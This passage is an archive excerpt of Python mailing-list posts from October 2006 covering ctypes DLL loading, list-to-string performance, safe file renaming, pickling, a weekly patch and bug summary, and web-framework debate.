      if stripped == '{':
         indent += 1
         print ':',
      elif stripped == '}':
         indent -= 1
         print '\n', '\t'*indent, 'pass\n'
      elif:
         print '\n', '\t'*indent, stripped

files = glob.glob('*.cpp')

for f in files:
   ConvertBraces(f)

...that may well get you started.  ;)

For fancy stuff like comment matching I'll suggest the re library.

-tom!


From fredrik at pythonware.com  Thu Oct 26 07:33:50 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 13:33:50 +0200
Subject: Error to be resolved
References: <1161861560.979401.29710@m73g2000cwd.googlegroups.com>
Message-ID: <ehq6ev$c9p$1@sea.gmane.org>

Arun Nair wrote:

>        self.rank = rank
>        self.rank = ["None","Clubs","Diamonds","Hearts","Spades"]

hint: what's "self.rank" after you've executed the above?

</F> 





From fredrik at pythonware.com  Fri Oct 27 07:26:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 27 Oct 2006 13:26:10 +0200
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu><7x4ptsi544.fsf@ruckus.brouhaha.com><1161803802.110116.127470@m7g2000cwm.googlegroups.com><7xvem8gq22.fsf@ruckus.brouhaha.com><1161804934.010376.151330@f16g2000cwb.googlegroups.com><453FD3AF.4040800@v.loewis.de><1161812827.596356.316450@f16g2000cwb.googlegroups.com><donn-4380C3.15593125102006@gnus01.u.washington.edu><1161860305.348329.283780@m73g2000cwd.googlegroups.com><mailman.1264.1161861732.11739.python-list@python.org><donn-15D0D7.09580726102006@gnus01.u.washington.edu><slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be><mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
Message-ID: <ehsqch$c7o$1@sea.gmane.org>

Antoon Pardon wrote:

>> since you never publish any code,
>
> This is not True. You shouldn't confuse your lack of recollection
> with reality.

pointers, please.

</F> 





From MonkeeSage at gmail.com  Wed Oct 11 00:56:32 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 10 Oct 2006 21:56:32 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <mailman.226.1160498418.11739.python-list@python.org>
References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com>
	<1160455280.118212.202770@b28g2000cwb.googlegroups.com>
	<egggaf$3kr$1@sea.gmane.org> <egghvv$bdm$1@sea.gmane.org>
	<mailman.226.1160498418.11739.python-list@python.org>
Message-ID: <1160542591.977237.290640@k70g2000cwa.googlegroups.com>


On Oct 10, 1:57 am, Steve Holden <s... at holdenweb.com> wrote:
> I think we'll just have to agree to differ in this repsecrt, as I don't
> see your suggestions for extending the sequence API as particularly
> helpful.

No worries. :)


On Oct 10, 11:22 am, Fredrik Lundh <fred... at pythonware.com> wrote:
> so to "improve" a piece of code that's been optimized for the common
> case, you're adding an extra method call and a test to the inner loop?
>
> and this because you think Python programmers don't understand try-
> except statements ?

Uh, yeah, "You're all idiots and I'm not really a 'Python
Programmer'(TM)" -- that's exactly what I was meaning to say. I'm
suprised your telepathic powers let you pick up on that, since I didn't
say anything that could even remotely be construed that way. Freaky.

And, FWIW, the "optimized" version is not much faster than that put
forth by the stupid peon (me), even when my suggestion is implemented
in pure python:

$ cat test.py
import timeit
ary = ['blah'] * 10

def has_index(seq, idx):
  return idx < len(seq)
def at(seq, idx):
  if has_index(seq, idx):
    return seq[idx]

def t1():
  while 1:
    try:
      for i in range(11):
        ary[i]
    except IndexError:
      break
def t2():
  go = True
  while go:
    for i in range(11):
      if has_index(ary, i):
        ary[i]
      else:
        go = False
def t3():
  go = True
  while go:
    for i in range(11):
      val = at(ary, i)
      if val:
        val
      else:
        go = False

print 't1 time:'
print timeit.Timer('t1()', 'from __main__ import t1').timeit()
print 't2 time:'
print timeit.Timer('t2()', 'from __main__ import t2').timeit()
print 't3 time:'
print timeit.Timer('t3()', 'from __main__ import t3').timeit()

$ python test.py
t1 time:
15.9402189255
t2 time:
18.6002299786
t3 time:
23.2494211197

> I think we can all safely ignore you now.

You could have done that all along. I'm no Max Planck, and this isn't
quantum mechanics. But more interesting than whether it's "safe" to
ignore suggestions for improvement is whether its actually beneficial
to do so.


On Oct 10, 11:35 am, Fredrik Lundh <fred... at pythonware.com> wrote:
> > *) insert martelli essay here.for example:
>
> http://mail.python.org/pipermail/python-list/2003-May/163820.html

I don't think this is strictly a question of EAFP vs. LBYL, but more a
question of convenience. This very moment in python I can say both
"try: d[k] ..." and "if d.has_key[k] / k in d".

Regards,
Jordan



From wdraxinger at darkstargames.de  Sat Oct 28 18:29:06 2006
From: wdraxinger at darkstargames.de (Wolfgang Draxinger)
Date: Sun, 29 Oct 2006 00:29:06 +0200
Subject: Safely renaming a file without overwriting
References: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>
	<72sb14-08j.ln1@darkstargames.dnsalias.net>
	<pan.2006.10.28.22.15.24.785616@REMOVE.THIS.cybersource.com.au>
Message-ID: <j62d14-pkv.ln1@darkstargames.dnsalias.net>

Steven D'Aprano wrote:

> Open "the" file? There are potentially two files -- the source
> and destination. I only want to do the rename if the
> destination *doesn't* exist, so there is no destination file to
> open. How will it help me to lock the source file? Have I
> misunderstood?

I forgot to say, to open the source file with O_CREAT | O_EXCL.
The open will fail if the file already exists. By locking the
file no other process will be able to access it, but the process
that holds the lock can do with it anything. This includes to
rename an existing file to the name of the opened one - the
previously created placeholder file will get unlinked before,
but there is _probably_ no way that any process can intercept
this. It is an interesting thing, that files that are opened
remain fully usable and accessible if you unlink them as long
you don't close them. You have to close it, to remove all
remains of it.

Wolfgang Draxinger
-- 
E-Mail address works, Jabber: hexarith at jabber.org, ICQ: 134682867
GPG key FP: 2FC8 319E C7D7 1ADC 0408 65C6 05F5 A645 1FD3 BD3E


From spr299 at ifrance.com  Fri Oct 20 06:10:35 2006
From: spr299 at ifrance.com (spr)
Date: Fri, 20 Oct 2006 12:10:35 +0200
Subject: list2str and performance
Message-ID: <4538a09f$0$2517$426a74cc@news.free.fr>

Hi,

I'm trying to learn Python and I'd appreciate any comments about my
small snippets of code. I read an old anecdote about performance here:

http://www.python.org/doc/essays/list2str/

First, I tried to figure out what would be the most pythonic approach by
today's standards:


def ListToStr(l):
    """Convert a list of integers into a string.
    """
    return "".join([chr(n) for n in l])

def StrToList(s):
    """Convert a string into a list of integers.
    """
    return [ord(c) for c in s]


By the way, using a generator expression in this case seem a bit slower
than a list comprehension and I'm not sure why.

I tried to improve the performance with Psyco and it became about 6
times as fast just for free. Then, I quickly tried Pyrex but I didn't
feel comfortable with using a dialect. So I trying Boost.Python, and as
I optimized the code it became more and more C-ish. The result is this:


// Convert a list of integers into a string.
PyObject* ListToStr(const boost::python::list& l)
{
    PyObject* s;
    Py_BEGIN_ALLOW_THREADS

    const size_t length = PyList_GET_SIZE(l.ptr());

    // Couldn't find a function for allocating a PyString from scratch.
    s = (PyObject*)_PyObject_NewVar(&PyString_Type, length);
    ((PyStringObject*)s)->ob_shash = -1;
    ((PyStringObject*)s)->ob_sstate = SSTATE_NOT_INTERNED;
    ((PyStringObject*)s)->ob_sval[((PyStringObject*)s)->ob_size] = '\0';

    char* s_items = PyString_AS_STRING(s);
    char* ps = s_items, *ps_end = ps + length;
    PyIntObject** pl = (PyIntObject**)((PyListObject*)l.ptr())->ob_item;

    while (ps < ps_end)
    {
        *ps++ = (char)(*pl++)->ob_ival;
    }

    Py_END_ALLOW_THREADS
    return s;
}

// Convert a string into a list of integers.
PyObject* StrToList(const boost::python::str& s)
{
    PyObject* l;
    Py_BEGIN_ALLOW_THREADS

    const size_t length = PyString_GET_SIZE(s.ptr());
    l = PyList_New(length);

    PyObject** pl = ((PyListObject*)l)->ob_item, **pl_end = pl + length;
    unsigned char* ps = (unsigned char*)PyString_AS_STRING(s.ptr());

    while (pl < pl_end)
    {
        *pl++ = PyInt_FromLong(*ps++);
    }

    Py_END_ALLOW_THREADS
    return l;
}

Is it safe here to use Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS?
On my machine this is about 50 times as fast as plain Python, but is
this as fast as it can get?

When performance matters and you have to develop a CPU-bound
application, do you think it is possible to eventually achieve nearly
the best performance by extending Python with C or C++ modules, or is it
better to take the embedding approach, that is, use a C or C++ core that
calls Python scripts?


From kbk at shore.net  Thu Oct 26 21:30:00 2006
From: kbk at shore.net (Kurt B. Kaiser)
Date: Thu, 26 Oct 2006 21:30:00 -0400 (EDT)
Subject: Weekly Python Patch/Bug Summary
Message-ID: <200610270130.k9R1U0NN007852@bayview.thirdcreek.com>

Patch / Bug Summary
___________________

Patches :  434 open ( +3) /  3430 closed ( +5) /  3864 total ( +8)
Bugs    :  929 open (+13) /  6285 closed (+12) /  7214 total (+25)
RFE     :  245 open ( +1) /   240 closed ( +0) /   485 total ( +1)

New / Reopened Patches
______________________

various datetime methods fail in restricted mode  (2006-10-17)
       http://python.org/sf/1578643  opened by  lplatypus

PyErr_Format corrections  (2006-10-17)
       http://python.org/sf/1578999  opened by  Martin v. L?wis

posix.readlink doesn't use filesystemencoding  (2006-10-19)
       http://python.org/sf/1580674  opened by  Ronald Oussoren

Duplicated declaration of PyCallable_Check  (2006-10-20)
CLOSED http://python.org/sf/1580872  opened by  Matthias Klose

Allow textwrap to preserve leading and trailing whitespace  (2006-10-20)
       http://python.org/sf/1581073  opened by  Dwayne Bailey

tarfile.py: 100-char filenames are truncated  (2006-10-24)
CLOSED http://python.org/sf/1583506  opened by  Lars Gust?bel

tarfile.py: better use of TarInfo objects with longnames  (2006-10-24)
       http://python.org/sf/1583880  opened by  Lars Gust?bel

Tix: subwidget names (bug #1472877)  (2006-10-25)
       http://python.org/sf/1584712  opened by  Matthias Kievernagel

Patches Closed
______________

patch for building trunk with VC6  (2006-03-24)
       http://python.org/sf/1457736  closed by  loewis

a faster Modulefinder  (2005-11-11)
       http://python.org/sf/1353872  closed by  theller

Duplicated declaration of PyCallable_Check  (2006-10-20)
       http://python.org/sf/1580872  closed by  loewis

Exec stacks in python 2.5  (2006-09-18)
       http://python.org/sf/1560695  closed by  loewis

tarfile.py: 100-char filenames are truncated  (2006-10-24)
       http://python.org/sf/1583506  closed by  gbrandl

New / Reopened Bugs
___________________

2.4.4c1 will not build when cross compiling  (2006-10-16)
CLOSED http://python.org/sf/1578513  opened by  smithj

--disable-sunaudiodev --disable-tk does not work  (2006-10-17)
       http://python.org/sf/1579029  opened by  ThurnerRupert

Segfault provoked by generators and exceptions  (2006-10-17)
       http://python.org/sf/1579370  opened by  Mike Klaas

Use flush() before os.exevp()  (2006-10-18)
       http://python.org/sf/1579477  opened by  Thomas Guettler

Wrong syntax for PyDateTime_IMPORT in documentation  (2006-10-18)
CLOSED http://python.org/sf/1579796  opened by  David Faure

not configured for tk  (2006-10-18)
       http://python.org/sf/1579931  opened by  Carl Wenrich

glob.glob("c:\\[ ]\*) doesn't work  (2006-10-19)
       http://python.org/sf/1580472  opened by  Koblaid

"make install" for Python 2.4.4 not working properly  (2006-10-19)
       http://python.org/sf/1580563  opened by  Andreas Jung

Configure script does not work for RHEL 4 x86_64  (2006-10-19)
       http://python.org/sf/1580726  reopened by  gbrandl

Configure script does not work for RHEL 4 x86_64  (2006-10-19)
       http://python.org/sf/1580726  reopened by  spotvt01

Configure script does not work for RHEL 4 x86_64  (2006-10-19)
       http://python.org/sf/1580726  opened by  Chris

httplib hangs reading too much data  (2006-10-19)
       http://python.org/sf/1580738  opened by  Dustin J. Mitchell

Definition of a "character" is wrong  (2006-10-20)
       http://python.org/sf/1581182  opened by  Adam Olsen

pickle protocol 2 failure on int subclass   (2006-10-20)
       http://python.org/sf/1581183  opened by  Anders J. Munch

missing __enter__ + __getattr__ forwarding  (2006-10-21)
       http://python.org/sf/1581357  opened by  Hirokazu Yamamoto

Text search gives bad count if called from variable trace  (2006-10-20)
       http://python.org/sf/1581476  opened by  Russell Owen

test_sqlite fails on OSX G5 arch if test_ctypes is run  (2006-10-21)
       http://python.org/sf/1581906  opened by  Skip Montanaro

email.header decode within word  (2006-10-22)
       http://python.org/sf/1582282  opened by  Tokio Kikuchi

Python is dumping core after the test test_ctypes  (2006-10-23)
       http://python.org/sf/1582742  opened by  shashi

Bulding source with VC6 fails due to missing files  (2006-10-23)
CLOSED http://python.org/sf/1582856  opened by  Ulrich Hockenbrink

class member inconsistancies  (2006-10-23)
CLOSED http://python.org/sf/1583060  opened by  EricDaigno

Different behavior when stepping through code w/ pdb  (2006-10-24)
       http://python.org/sf/1583276  opened by  John Ehresman

tarfile incorrectly handles long filenames  (2006-10-24)
CLOSED http://python.org/sf/1583537  opened by  Mike Looijmans

yield+break stops tracing  (2006-10-24)
       http://python.org/sf/1583862  opened by  Lukas Lalinsky

__str__ cannot be overridden on unicode-derived classes  (2006-10-24)
       http://python.org/sf/1583863  opened by  Mike K

SSL "issuer" and "server" functions problems - security   (2006-10-24)
       http://python.org/sf/1583946  opened by  John Nagle

remove() during iteration causes items to be skipped  (2006-10-24)
CLOSED http://python.org/sf/1584028  opened by  Kevin Rabsatt

os.tempnam fails on SUSE Linux to accept directory argument  (2006-10-25)
CLOSED http://python.org/sf/1584723  opened by  Andreas

Events in list return None not True on wait()  (2006-10-26)
CLOSED http://python.org/sf/1585135  opened by  SpinMess

Bugs Closed
___________

from_param and _as_parameter_ truncating 64-bit value  (2006-10-12)
       http://python.org/sf/1575945  closed by  theller

2.4.4c1 will not build when cross compiling  (2006-10-16)
       http://python.org/sf/1578513  closed by  loewis

Error with callback function and as_parameter with NumPy ndp  (2006-10-10)
       http://python.org/sf/1574584  closed by  theller

PyThreadState_Clear() docs incorrect  (2003-04-17)
       http://python.org/sf/723205  deleted by  theller

Wrong syntax for PyDateTime_IMPORT in documentation  (2006-10-18)
       http://python.org/sf/1579796  closed by  akuchling

Configure script does not work for RHEL 4 x86_64  (2006-10-19)
       http://python.org/sf/1580726  closed by  loewis

Example typo in section 4 of 'Installing Python Modules'  (2006-10-12)
       http://python.org/sf/1576348  closed by  akuchling

Bulding source with VC6 fails due to missing files  (2006-10-23)
       http://python.org/sf/1582856  closed by  loewis

class member inconsistancies  (2006-10-23)
       http://python.org/sf/1583060  closed by  gbrandl

mac installer profile patch vs. .bash_login  (2006-09-19)
       http://python.org/sf/1561243  closed by  sf-robot

idle in python 2.5c1 freezes on macos 10.3.9  (2006-08-18)
       http://python.org/sf/1542949  closed by  sf-robot

Launcher reset to factory button provides bad command-line  (2006-10-03)
       http://python.org/sf/1570284  closed by  sf-robot

tarfile incorrectly handles long filenames  (2006-10-24)
       http://python.org/sf/1583537  deleted by  cdwave

remove() during iteration causes items to be skipped  (2006-10-24)
       http://python.org/sf/1584028  closed by  rhettinger

os.tempnam fails on SUSE Linux to accept directory argument  (2006-10-25)
       http://python.org/sf/1584723  closed by  gbrandl

Events in list return None not True on wait()  (2006-10-26)
       http://python.org/sf/1585135  closed by  gbrandl

New / Reopened RFE
__________________

Add os.link() and os.symlink() support for Windows  (2006-10-16)
       http://python.org/sf/1578269  opened by  M.-A. Lemburg



From davidh at ilm.com  Fri Oct 13 14:20:12 2006
From: davidh at ilm.com (David Hirschfield)
Date: Fri, 13 Oct 2006 11:20:12 -0700
Subject: Sending binary pickled data through TCP
In-Reply-To: <egokau$h4o$1@sea.gmane.org>
References: <452EEEF1.6030606@ilm.com>
	<egmvtl$b0b$1@sea.gmane.org>	<452FD3B1.9060306@ilm.com>
	<egokau$h4o$1@sea.gmane.org>
Message-ID: <452FD8DC.9030303@ilm.com>

I'm using cPickle already. I need to be able to pickle pretty 
arbitrarily complex python data structures, so I can't use marshal.
I'm guessing that cPickle is the best choice, but if someone has a 
faster pickling-like module, I'd love to know about it.

-Dave

Fredrik Lundh wrote:
> David Hirschfield wrote:
>
>   
>> Are there any existing python modules that do the equivalent of pickling 
>> on arbitrary python data, but do it a lot faster? I wasn't aware of any 
>> that are as easy to use as pickle, or don't require implementing them 
>> myself, which is not something I have time for.
>>     
>
> cPickle is faster than pickle.  marshal is faster than cPickle, but only 
> supports certain code object types.
>
> </F>
>
>   

-- 
Presenting:
mediocre nebula.

-------------- next part --------------
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From pwatson at redlinepy.com  Mon Oct 30 10:32:43 2006
From: pwatson at redlinepy.com (Paul Watson)
Date: Mon, 30 Oct 2006 09:32:43 -0600
Subject: codecs - where are those on windows?
In-Reply-To: <1162202194.839564.30470@b28g2000cwb.googlegroups.com>
References: <1162202194.839564.30470@b28g2000cwb.googlegroups.com>
Message-ID: <45461B1B.6070101@redlinepy.com>

GHUM wrote:
> I stumbled apon a paragraph in python-dev about "reducing the size of
> Python" for an embedded device:
> 
> """
> In my experience, the biggest gain can be obtained by dropping the
> rarely-used
> CJK codecs (for Asian languages). That should sum up to almost 800K
> (uncompressed), IIRC.
> """
> 
> So, my question is: on Windows. where are those CJK codecs? Are they by
> any chance included in the 1.867.776 bytes of python24.dll ?
> 
> Best wishes,
> 
> Harald

If your installation directory is C:\Python25, then look in

C:\Python25\lib\encodings


From guettli+usenet at thomas-guettler.de  Tue Oct 17 10:39:19 2006
From: guettli+usenet at thomas-guettler.de (Thomas Guettler)
Date: 17 Oct 2006 14:39:19 GMT
Subject: stdout not flushed before os.execvp()
Message-ID: <4pk88nFjc1puU1@individual.net>

Hi,

I noticed, that sys.stout does not get flushed before the process is
replaced. The last print statements (before execvp()) disappear.

It only happens, if the output is redirected to a file (if sys.stdout is
not line buffered).

"""#testexec.py
import os
print "Messsage"
os.execvp("/bin/true", ["/bin/true"])
"""

===> python tmp/testexec.py 
Messsage

===> python tmp/testexec.py  > out ; cat out


Is this a bug or feature?

My version:
Python 2.4.2 (#1, May  2 2006, 08:28:01) 
GCC 4.1.0 (SUSE Linux)] on linux2


-- 
Thomas G?ttler, http://www.thomas-guettler.de/ http://www.tbz-pariv.de/
E-Mail: guettli (*) thomas-guettler + de
Spam Catcher: niemand.leermann at thomas-guettler.de



From dakman at gmail.com  Mon Oct 30 12:45:29 2006
From: dakman at gmail.com (dakman at gmail.com)
Date: 30 Oct 2006 09:45:29 -0800
Subject: Python 123 introduction
In-Reply-To: <ei4k1t$97e$1@gemini.csx.cam.ac.uk>
References: <ei4k1t$97e$1@gemini.csx.cam.ac.uk>
Message-ID: <1162230329.413075.93370@b28g2000cwb.googlegroups.com>

This is great! A excellent tutorial for somone who has prior experience
in programming and is starting out in python. My friend keeps wanting
me to teach him python, I think this would be the perfect link for him.
Thanks.


Jeremy Sanders wrote:
> Here is a brief simple introduction to Python I wrote for a computing course
> for graduate astronomers. It assumes some programming experience. Although
> it is not a complete guide, I believe this could be a useful document for
> other groups to learn Python, so I'm making it available for others to
> download, and modify for their own needs (some of the content is site
> specific).
>
> HTML version:
>  http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123/
> Postscript LaTeX output:
>  http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.ps
> PDF LaTeX output:
>  http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.pdf
> LaTeX source:
>  http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.tex
> 
> Jeremy
> 
> -- 
> Jeremy Sanders
> http://www.jeremysanders.net/



From onurb at xiludom.gro  Wed Oct 11 08:25:00 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 11 Oct 2006 14:25:00 +0200
Subject: Alternative constructors naming convention
In-Reply-To: <1160564942.565119.226780@m7g2000cwm.googlegroups.com>
References: <1160564942.565119.226780@m7g2000cwm.googlegroups.com>
Message-ID: <452ce29d$0$24041$426a74cc@news.free.fr>

Will McGugan wrote:
> Hi,
> 
> Is there a naming convention regarding alternative constructors? ie
> static methods where __new__ is called explicity. I use lower_case for
> methods in general, but thought maybe CamelCase would be better for
> alternative contstructors to distinguish them from methods...

Well... They are still methods, aren't they ?-)

I don't remember any specific guideline, but FWIW, dict.from_keys() is
an "alternative constructor".

My 2 cents.
-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From daikan1998 at tom.com  Sun Oct  8 11:36:13 2006
From: daikan1998 at tom.com (Dave)
Date: 8 Oct 2006 08:36:13 -0700
Subject: missing has_column_major_storage
Message-ID: <1160321773.130327.35190@m7g2000cwm.googlegroups.com>

hello
   I have intalled the Enthought Edition 1.0.0, when i successed use
f2py compile my fortran file to python module. But when I call
"has_column_major_storage function" in the extended module. it's cannot
find. "has_column_major_storage function" function have been remove
from numpy/f2py ?? how can i change the array storage C to Fortran
type??

  thanks



From pandyacus.xspam at xspam.sbcglobal.net  Tue Oct 24 21:21:14 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Wed, 25 Oct 2006 01:21:14 GMT
Subject: Ctypes Error: Why can't it find the DLL.
References: <1161711630.004644.187330@h48g2000cwc.googlegroups.com>
Message-ID: <uejsxchrq.fsf@NANDI.i-did-not-set--mail-host-address--so-tickle-me>

"Mudcat" <mnations at gmail.com> writes:

Is the DLL loadable from a standalone C program?
All that is needed is a call to LoadLibrary() and check the return.

If the full path is not specified, the dll is searched in the predefined order
- I believe it is
  executable directory - in this case, directory of python.exe
  current directory    - set the current drive and path to whereever you want
                         before trying to load the dll
  windows system directory
  windows directory
  Directories specified in PATH evnvironment variable

-Chetan

> Hi,
>
> I can't figure out why ctypes won't load the DLL I need to use. I've
> tried everything I can find (and the ctypes website is down at the
> moment). Here's what I've seen so far.
>
> I've added the file arapi51.dll to the system32 directory.  However
> when I tried to access it I see this:
>
>>>> print windll.arapi51 # doctest: +WINDOWS
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
>   File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 387, in
> __getattr__
>     dll = self._dlltype(name)
>   File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 312, in
> __init__
>     self._handle = _dlopen(self._name, mode)
> WindowsError: [Errno 126] The specified module could not be found
>
> So then I use the find_library function, and it finds it:
>
>>>> find_library('arapi51.dll')
> 'C:\\WINNT\\system32\\arapi51.dll'
>
> At that point I try to use the LoadLibrary function, but it still can't
> find it:
>
>>>> windll.LoadLibrary('C:\WINNT\system32\arapi51.dll')
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
>   File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 395, in
> LoadLibrary
>     return self._dlltype(name)
>   File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 312, in
> __init__
>     self._handle = _dlopen(self._name, mode)
> WindowsError: [Errno 126] The specified module could not be found
>
> What am I doing wrong? I've used ctypes before and not had this
> problem. Before, I've just added the file to the system32 directory and
> not had this problem.
>
> On another note, if I wanted to include these DLL's to be a part of an
> installable package, how would I configure ctypes to use DLL's from a
> local directory?
>
> Thanks,
> Marc


From jkn_gg at nicorp.f9.co.uk  Tue Oct 31 12:22:42 2006
From: jkn_gg at nicorp.f9.co.uk (jkn)
Date: 31 Oct 2006 09:22:42 -0800
Subject: Python tools for managing static websites?
In-Reply-To: <mailman.1542.1162296580.11739.python-list@python.org>
References: <mailman.1542.1162296580.11739.python-list@python.org>
Message-ID: <1162315362.495224.46530@h48g2000cwc.googlegroups.com>

Hi there

I used cheetah (cheetahtemplate) and a makefile for something similar
;-). It worked pretty well for me. I only have a dozen or so pages
though.

I'm currently converting this to Jinja, which is a similar templating
system compatible with Django. I plan to later migrate to dynamic pages
under Django.

http://www.cheetahtemplate.org
http://wsgiarea.pocoo.org/jinja/

    HTH
    Jon N



From martin at v.loewis.de  Tue Oct 24 14:09:54 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 20:09:54 +0200
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <mailman.1102.1161712524.11739.python-list@python.org>
References: <mailman.706.1161192807.11739.python-list@python.org>	<45386B4C.4020001@v.loewis.de>	<mailman.999.1161629807.11739.python-list@python.org>	<453d4821$0$22566$9b622d9e@news.freenet.de>	<mailman.1025.1161646957.11739.python-list@python.org>	<453DA645.2090009@v.loewis.de>	<mailman.1099.1161709658.11739.python-list@python.org>	<453E4C49.4000401@v.loewis.de>
	<mailman.1102.1161712524.11739.python-list@python.org>
Message-ID: <453e56f2$0$30357$9b622d9e@news.freenet.de>

Christopher Taylor schrieb:
> I disagree. From what I see, the error, as far as python is
> considered, is not being able to specify the location where libs are
> put, despite the fact that the --LIBDIR=  option is listed.   It just
> happens to manifest itself in AMD64/EM64T Linux, specifically RH linux
> where 64bit libs are put in /usr/lib64 and 32bit libs in /usr/lib.

Ok. One solution might be to remove the libdir option, then. Python
attempts to be "movable", i.e. the libraries are found relative to
the executable (via dirname(sys.executable)+"../lib/..."). If
libdir is supported, this approach must be given up - or libdir must
be given up.

>> The x86_64 community has been using Python for a while, and
>> apparently has solved this problem already. You should try
>> to find out how they did it.
> 
> Where might I go to look on how to get this working?

The Linux distributions already provide Python binaries (I believe
Redhat does, too). You could study what they do to achieve that.

> P.S.  I posted on python-dev and I haven't seen my post show up yet,
> nor any responces .... is that list moderated?

No, it should show up automatically.

Regards,
Martin


From mail at microcorp.co.za  Sat Oct  7 04:30:21 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sat, 7 Oct 2006 10:30:21 +0200
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr.
	AndySingleton
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>	<mailman.1388.1160089812.10491.python-list@python.org>	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>	<4omn7jFfe26cU1@uni-berlin.de><mailman.1446.1160129559.10491.python-list@python.org>
	<4omr1tFfbn9dU1@uni-berlin.de>
Message-ID: <000f01c6e9eb$0e84ac00$03000080@hendrik>

"Diez B. Roggisch" <deets at nospam.web.de> wrote:

8<---------------------------------------
> ... - I don't wanna get 
> into the details of my underwear.... :P
> 
> Diez

Why not? - what are you hiding?

- Hendrik




From dannycolligan at gmail.com  Tue Oct 31 13:46:02 2006
From: dannycolligan at gmail.com (Danny Colligan)
Date: 31 Oct 2006 10:46:02 -0800
Subject: Why can't you assign to a list in a loop without enumerate?
Message-ID: <1162320362.257426.121370@e3g2000cwe.googlegroups.com>

In the following code snippet, I attempt to assign 10 to every index in
the list a and fail because when I try to assign number to 10, number
is a deep copy of the ith index (is this statement correct?).

>>> a = [1,2,3,4,5]
>>> for number in a:
...     number = 10
...
>>> a
[1, 2, 3, 4, 5]

So, I have to resort to using enumerate to assign to the list:

>>> for i, number in enumerate(a):
...     a[i] = 10
...
>>> a
[10, 10, 10, 10, 10]

My question is, what was the motivation for returning a deep copy of
the value at the ith index inside a for loop instead of the value
itself?  Also, is there any way to assign to a list in a for loop (with
as little code as used above) without using enumerate?

Thanks,

Danny



From faulkner612 at comcast.net  Mon Oct  2 11:11:24 2006
From: faulkner612 at comcast.net (faulkner)
Date: 2 Oct 2006 08:11:24 -0700
Subject: How can I make a class that can be converted into an int?
In-Reply-To: <slrnei2a9p.8ds.matt@mwilson.umlcoop.net>
References: <slrnei2a9p.8ds.matt@mwilson.umlcoop.net>
Message-ID: <1159801884.059128.285880@m73g2000cwd.googlegroups.com>

__int__
__long__
__float__


Matthew Wilson wrote:
> What are the internal methods that I need to define on any class so that
> this code can work?
>
> c = C("three")
>
> i = int(c) # i is 3
>
> I can handle the part of mapping "three" to 3, but I don't know what
> internal method is called when int(c) happens.
>
> For string conversion, I just define the __str__ method.  What's the
> equivalent for int?  For float, too, while I'm at it?
>
> TIA
>
> Matt
>
> --
> A better way of running series of SAS programs:
> http://overlook.homelinux.net/wilsonwiki/SasAndMakefiles



From paul at boddie.org.uk  Wed Oct 11 09:59:32 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 11 Oct 2006 06:59:32 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<1160570340.981862.212380@c28g2000cwb.googlegroups.com>
	<mailman.314.1160573195.11739.python-list@python.org>
Message-ID: <1160575172.300208.82370@i42g2000cwa.googlegroups.com>

Fredrik Lundh wrote:
> Paul Boddie wrote:
> >
> > Well, that's just another way of saying that the scene remains
> > stagnant, because I don't see any winners.
>
> one, two, overflow ?  or are you saying that the lack of a monopoly means
> market stagnation, no matter how innovative the three big ones are ?

I've never maintained that a monopoly on how Web programming is done
would be a good thing. All I've ever tried to understand is why people
haven't tried to improve the generic support for Web programming (and a
whole load of other things) even to the level of something like the
DB-API. Take another area: all the time you get people asking how they
can conveniently access some Web site using a Python-based client, and
loads of people are coming up against issues with urllib, urllib2,
other libraries. Wouldn't it be good if the functionality were just
there in the standard library in a sane form? Or is the standard
library just a "grab bag" of demos these days?

[...]

> the standard library has never included non-trivial applications (and the three big
> ones are configurable applications, not libraries).  I'm not sure anyone has ever
> looked to the standard library for domain-specific applications or toolkits.

These non-trivial applications are just libraries with icing on. My
critique of the Web standardisation scene is that no-one is that
interested in cooperating on the libraries. Of course, that isn't a bad
thing if you choose your framework and find the facilities you need,
but when this is happening at such a low level in the "framework
stack", you needlessly fragment the scene. TurboGears and Django have
slightly different approaches, so if you're the sort of person who will
buy the shiny new TurboGears book (the one with the snake holding a
lightsabre, or something), you'll probably want to get the Django one
as well: great news for publishers, an own-goal for the common cause.

> > The thing is that people want a coherent message about Python and Web
> > programming.
>
> the message is out there, for anyone who wants to listen.  and they are listening.

And that message is...? All I see is the JPF, the PFJ and the JPPF.

> > why else do people still ask CGI-related questions on comp.lang.python?
>
> because CGI works well for simple applications where you don't want to waste
